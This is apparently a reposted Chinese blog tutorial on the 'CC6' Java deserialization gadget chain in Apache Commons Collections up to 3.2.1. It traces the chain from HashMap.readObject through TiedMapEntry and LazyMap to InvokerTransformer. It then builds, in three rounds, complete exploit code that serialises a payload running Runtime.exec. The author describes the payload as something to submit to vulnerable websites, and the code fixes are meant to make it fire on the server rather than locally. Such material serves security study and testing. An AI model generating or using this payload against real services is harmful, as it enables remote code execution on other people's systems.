CC6利用链(最好用的CC利用链)--EXP编写思路--源码分析

在这篇文章中,你能更加深刻理解CC利用链,并且能学到更深的EXP编写思路

阅读本篇文章需要先弄明白我前三篇文章,阅读顺序如下:

  1. URLDNS利用链EXP编写之源码分析
  2. CC1利用链EXP编写之源码分析
  3. CC1-LazyMap利用链-源码分析

当然如果有CC链基础的师傅可以放心使用

漏洞影响版本

JDK版本不限制

commons-collections <= 3.2.1

利用链梳理

反序列化 --> HashMap.readObject() --> TiedMapEntry.hashCode() --> LazyMap.get() --> ChainedTransformer.transform() --> InvokerTransformer.transform()

这条CC6利用链和前面两篇文章中CC1的两条链的不同之处在于利用了HashMap的反序列化形成利用链,由于HashMap在非常多的场景下使用,所以开发者一般都不会轻易修改HashMap,因此这个CC6链不受JDK版本限制。仅仅受commons-collections版本的限制。

还有一点就是CC6链利用的一个方法是hashCode(),正好commons-collections中的TiedMapEntry类也有hashCode(),所以在这个地方和本专栏的第一篇文章URLDNS利用链EXP编写之源码分析有异曲同工之妙。

利用链寻找思路分析

在CC6利用链中,我们的寻找思路就不是一级一级往上面找了,因为我们经过前面利用链的研究,已经确定了后面半条链 LazyMap.get() --> ChainedTransformer.transform() --> InvokerTransformer.transform(),所以我们的查找思路就可以从利用链的前面开始了,由于前面的CC1链的两条链都是依赖于JDK中的AnnotationInvocationHandler类的,这个类受JDK版本的影响,所以我们需要找其他类进行利用,很容易想到HashMap,他不仅仅可以序列化,还是非常非常常用的数据结构,这个在JDK版本中一般都不会轻易改变的,经过前面URLDNS利用链的研究,我们可以想到URLDNS利用链的思路,我们是否依旧可以利用HashMap反序列化的时候默认调用hashCode()方法的特性,然后我们只需要再找一个具有hashCode()方法的类,果不其然,师傅们找到了commons-collections中的一个TiedMapEntry类,这个类里面正好具有hashCode()方法,而且这个类还实现了Serializable接口,是可以序列化的,如图:

image-20230815214151467

其中调用了getValue()方法,然后再看到getValue()方法:

image-20230815215148766

可以看到这个方法里面正好调用了get()方法,而且key和map都是可控的,这里正好连接上了后面半条链中的LazyMap的get()方法。

源码分析

根据以上利用链寻找思路分析,我们发现只需要构造一个TiedMapEntry对象,将其传给HashMap在进行反序列化的时候自动调用hashCode()方法就可以完成后半条链的利用,那么我们该如何构造TiedMapEntry呢?将LazyMap对象传入TiedMapEntry对象的构造方法即可。

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");

反序列化的时候,TiedMapEntry中的方法调用流程hashCode() --> getValue() --> map.get(),这样就能直接调用到lazyMap的get()方法,从而对接上CC6的后半条链

构造好这个TiedMapEntry对象之后,我们下一步就是构建HashMap对象了,将tiedMapEntry作为key存入HashMap中,从而大致形成前面半条链:HashMap.readObject() --> TiedMapEntry.hashCode():

Map map2 = new HashMap();
map2.put(tiedMapEntry,"yuan_boss");

初步完成EXP编写

下一步就是将map2对象进行序列化生成payload,于是和后半条链的代码写一起,就初步完成了EXP的编写:

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-16 10:56
 **/
public class CC6Test {
    
    
    public static void main(String[] args) throws Exception {
    
    
        Transformer[] transformers = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class},new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        //将chainedTransformer对象封装进LazyMap中
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"yuan_boss");
        //序列化payload
        ByteArrayOutputStream barr = serialize(map2);
        serialize(map2);
    }
public static ByteArrayOutputStream serialize(Object o) throws Exception{
    
    
    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(o);
    System.out.println(barr);
    return barr;
 }
}

EXP问题分析

在初步完成EXP之后,进行执行,发现有个问题,竟然直接调出了计算器,可是我仅仅进行了序列化,并没有调用反序列化的方法啊,为什么会出现这种情况呢?下面我们来分析一下:

在这个EXP中,我们是利用HashMap的hashCode()调用来触发链式调用的,我们在执行这段代码map2.put(tiedMapEntry,"yuan_boss");的时候,实际上就会调用到hashCode()方法形成利用链,然后触发计算器,可能有小伙伴会觉得,触发了计算器不是说明目的达到了吗?

如果这样想,小伙伴的侧重点可能就偏了,我们的目的并不是触发计算器就行了,而是在反序列化的时候能触发计算器才是最终目的。因为我们最终是要把序列化好的payload交给具有漏洞的网站进行测试,让网站给我们反序列化的时候触发我们的恶意代码,而不是在我们序列化生成payload的时候执行恶意代码。

因此我们需要加上一个反序列化的方法,并且对我们序列化后的payload进行测试,然后打断点到反序列化,看看反序列化是否能再次触发计算器:

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-16 10:56
 **/
public class CC6Test {
    
    
    public static void main(String[] args) throws Exception {
    
    
        Transformer[] transformers = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class},new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        //将chainedTransformer对象封装进LazyMap中
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"yuan_boss");
        //序列化payload
        ByteArrayOutputStream barr = serialize(map2);
        serialize(map2);
        unSerialize(barr);
    }
	public static ByteArrayOutputStream serialize(Object o) throws Exception{
    
    
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        System.out.println(barr);
        return barr;
 }
	public static void unSerialize(ByteArrayOutputStream barr) throws Exception{
    
    
        ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = oos.readObject();
        System.out.println(o);
    }
}

但是断点到unSerialize(barr);这行之后,发现无法触发计算器,因此可以推断出反序列化的时候没有进入利用链,下面就开始进行源代码分析,在反序列化的时候调用了TiedMapEntry对象的hashCode()方法,然后会调用TiedMapEntry的getValue()方法,如图:

image-20230816141459521

然后就会调用LazyMap的get()方法,接着我们来看到LazyMap的get()方法:

image-20230815204027961

可以看到,要想调用到transform()方法也是需要条件的,如果get()方法传入的key参数在map中存在,就不会调用transform()方法,如果map中不存在这个key,就会进入if语句,然后调用transform()方法执行利用链。但是在LazyMap类的get()方法中,我们可以看到

map.put(key,value),意思就是会往map中put我们传入的key和value,后面如果再调用map的get方法,就会发现map中已经有key了,所以不会调用到transform方法,因此我们在对map进行put之后,需要将LazyMap的key移除,这样就能避免在反序列化的时候由于key存在而无法调用到transform()方法,所以就需要移除key:

lazyMap.remove("yuan666");

经过以上分析之后,我们就可以完善EXP了。

初步完善EXP

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-15 19:53
 **/
public class CC6 {
    
    
    public static void main(String[] args) throws Exception {
    
    
        Transformer[] transformers = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class},new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        //为了避免在put的时候就执行恶意代码,于是将LazyMap的第二个参数设置为没用的对象
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"yuan_boss");
        //移除lazyMap中的key,否则反序列化的时候由于具有key,就不会调用transform()方法了
        lazyMap.remove("yuan666");
        //重新给给LazyMap的第二个参数设置为 chainedTransformer
        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);
        ByteArrayOutputStream barr = serialize(map2);
        UnSerialize(barr);
    }
    public static ByteArrayOutputStream serialize(Object o) throws Exception{
    
    
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        System.out.println(barr);
        return barr;
    }
    public static void UnSerialize(ByteArrayOutputStream barr) throws Exception{
    
    
        ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = oos.readObject();
        System.out.println(o);
    }
}

最终EXP

由于上面的EXP其实还有个细微的可以优化的地方,就是我们在put的时候,会触发利用链执行恶意代码,这是没有意义的,而且如果这个恶意代码如果很危险,是不是就影响我们自身的客户端了,因此为了避免伤害自身,就需要先把恶意的lazyMap对象的第二个参数变为没有恶意代码的,然后在序列化之前通过反射设置lazyMap对象的第二个参数为恶意的transformer即可。

所以在构造lazyMap的方式进行如下改变,将LazyMap的一个Transformer对象变为一个非恶意的对象:

 Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

然后在序列化之前通过反射设置lazyMap:

//重新给给LazyMap的第二个参数设置为 chainedTransformer
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

然后最终可以完善EXP:

最终EXP

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-16 10:56
 **/
public class CC6Test {
    
    
    public static void main(String[] args) throws Exception {
    
    
        Transformer[] transformers = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class},new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        //将非恶意的ConstantTransformer对象封装进LazyMap中,防止在本机执行恶意代码
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"yuan_boss");
        lazyMap.remove("yuan666");
        //重新给给LazyMap的第二个参数设置为 chainedTransformer
        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);
        //序列化payload
        ByteArrayOutputStream barr = serialize(map2);
        unSerialize(barr);
    }
    public static ByteArrayOutputStream serialize(Object o) throws Exception{
    
    
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        System.out.println(barr);
        return barr;
 }
    public static void unSerialize(ByteArrayOutputStream barr) throws Exception{
    
    
        ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = oos.readObject();
        System.out.println(o);
    }

}

猜你喜欢

转载自blog.csdn.net/weixin_46367450/article/details/132323265
cc
今日推荐